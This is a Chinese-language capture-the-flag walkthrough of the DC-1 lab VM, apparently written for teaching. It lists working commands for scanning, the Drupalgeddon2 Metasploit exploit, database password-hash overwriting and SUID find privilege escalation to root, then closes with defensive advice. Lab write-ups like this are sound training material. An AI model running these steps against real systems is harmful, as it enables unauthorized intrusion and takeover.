dc-1靶场练习
字数 1257 2025-08-10 16:34:39
DC-1靶机渗透测试实战教学文档
1. 环境准备
1.1 靶机下载与配置
- 下载DC-1靶机镜像(.ova或.vmdk格式)
- 使用VMware或VirtualBox导入镜像
- 网络配置要求:
- 攻击机与靶机需在同一网段
- 无需特定网络模式(NAT或桥接均可)
- 示例IP:
- 攻击机:192.168.108.128
- 靶机:192.168.108.137
2. 信息收集阶段
2.1 主机发现
nmap -sn 192.168.108.0/24
- 识别存活主机,确认靶机IP(本例为192.168.108.137)
2.2 端口扫描
nmap -sV -p- 192.168.108.137
- 发现开放端口:
- 80/tcp (HTTP服务)
- 其他可能服务端口
3. Web应用渗透
3.1 网站识别
- 访问http://192.168.108.137
- 识别为Drupal CMS系统
3.2 漏洞搜索
- 搜索"Drupal漏洞":
searchsploit drupal
- 或使用Metasploit:
msfconsole
search drupal
- 发现7个可利用漏洞
3.3 漏洞利用
- 尝试第一个漏洞(失败)
- 尝试第二个漏洞(成功):
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.108.137
exploit
- 获取反向shell
3.4 稳定shell
python -c 'import pty; pty.spawn("/bin/bash")'
4. 权限提升(第一阶段)
4.1 寻找flag1
find / -name flag*.txt -type f 2>/dev/null
- 发现flag1.txt:
- 内容提示:"每个好的CMS都需要一个配置文件"
4.2 查找配置文件
find / -name settings.php 2>/dev/null
- 定位到/var/www/sites/default/settings.php
- 发现flag2:
- 内容提示:"需要更高权限"
- 同时包含MySQL凭据:
- 用户名:dbuser
- 密码:R0ck3t
5. 数据库渗透
5.1 连接MySQL
mysql -u dbuser -pR0ck3t -D drupaldb
5.2 提取用户凭据
SELECT * FROM users;
- 获取两个加密的用户密码
5.3 密码破解
- 发现Drupal使用特定哈希算法
- 哈希脚本位置:/var/www/scripts/password-hash.sh
- 生成新哈希:
php /var/www/scripts/password-hash.sh 新密码
- 通过数据库更新管理员密码:
UPDATE users SET pass='生成的哈希值' WHERE uid=1;
6. Web后台渗透
6.1 登录Drupal后台
- 使用修改后的管理员凭据登录
- 在Dashboard发现flag3:
- 提示:"让我自己找密码"
7. 系统用户枚举
7.1 检查系统用户
cat /etc/passwd
- 发现flag4用户
7.2 获取flag4
su flag4
cd /home/flag4
cat flag4.txt
- 内容提示:"提权后获取root目录下的flag"
8. 权限提升(第二阶段)
8.1 检查sudo权限
sudo -l
- 无可用命令
8.2 检查SUID权限
find / -perm -4000 2>/dev/null
- 发现find命令具有SUID权限
8.3 利用find提权
find / -exec /bin/sh \; -quit
- 获取root shell
9. 获取最终flag
9.1 查找root目录flag
cd /root
ls
cat thefinalflag.txt
10. 总结与关键点
- 信息收集至关重要:通过nmap扫描发现服务和版本信息
- 漏洞利用顺序:多个漏洞可能需要依次尝试
- 密码重置技巧:通过修改数据库重置Drupal管理员密码
- SUID提权:find命令的SUID权限是常见提权向量
- 循序渐进:每个flag都提供了下一步的线索
11. 防御建议
- 及时更新CMS系统补丁
- 限制数据库用户权限
- 严格控制SUID权限命令
- 使用强密码并定期更换
- 实施最小权限原则
12. 扩展学习
- Drupal安全加固指南
- Linux权限管理深入
- 常见SUID提权方法
- 数据库安全配置
- 渗透测试方法论